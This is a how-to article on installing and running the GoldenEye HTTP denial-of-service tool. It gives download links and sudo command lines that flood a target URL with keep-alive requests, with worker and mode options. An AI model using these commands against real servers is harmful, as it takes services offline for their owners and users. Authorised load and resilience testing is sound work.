Golden Eye DDoS Tool: Installation and Tool usage with examples [Updated 2024]

GoldenEye is one of the popular HTTP Denial Of Service Tools. It is a completely free and open-source tool. You can download this tool on GitHub.

This tool uses KeepAlive (and Connection: keep-alive) paired with Cache-Control options to persist socket connection busting through caching (when possible) until it consumes all available sockets HTTP/S server.

This tool can be used for Load Testing and testing of Network devices.

Download

Download Link: https://sourceforge.net/projects/goldeneye/?source=typ_redirect

Alternate link: https://github.com/jseidl/GoldenEye.git

Click on the Download button to download the tool

Use of Golden Eye DDoS Tool

1. Load Testing: The tool may be used for generating high traffic and checking for the endurance of the IT system
2. Stress Testing: Checking system limits by pushing resources to their maximum capacity to identify potential failure points.
3. Performance Testing: Measuring system responsiveness, speed, and stability under various conditions.
4. Security Testing: Conduct vulnerability assessments and penetration tests using different tools such as AppScan, BurpSuite, etc. to identify and address security weaknesses without causing harm.
5. Red Team Testing: Ethical hacking to uncover security flaws and assess defenses, always with explicit permission (legal contract) and boundaries.

Installation

Zip files are generally downloaded in the directory Downloads

Extract files from GoldenEye-master.zip

#unzip GoldenEye-master.zip

Check extracted files

#cd GoldenEye-master
#ls

Tool Usage

Right-click in the directory GoldenEye-master and click Open in Terminal.

1. To display all usage options

#sudo ./goldeneye.py -h

2. To send traffic to the target machine

#sudo ./goldeneye.py <url>
#sudo ./goldeneye.py http://192.168.0.233:80/
#sudo ./goldeneye.py http://www.testurl.com

Use Ctrl + C to end attack

You can use the Wireshark tool to capture traffic

3. To send traffic of mode ‘random’ (both GET and POST Request) of 5 workers to the target machine

#sudo ./goldeneye.py  http://192.168.0.233:80/ -w 5 -m random

4. To send traffic in ‘random’ mode with 10 workers running 5 connections each

#sudo ./goldeneye.py  http://192.168.0.233:80/ -s 5 -m random

Similarly, you can use other options to control network traffic.

Conclusion

GoldenEye DDoS tool is quite effective in performing test the IT system against different attacks. but if you use this tool unethically, it is like playing with fire. It breaks rules, hurts others, and can get you in serious trouble.

Doing tests the right way keeps things safe without causing harm. Being ethical means avoiding trouble and keeping everyone safe online.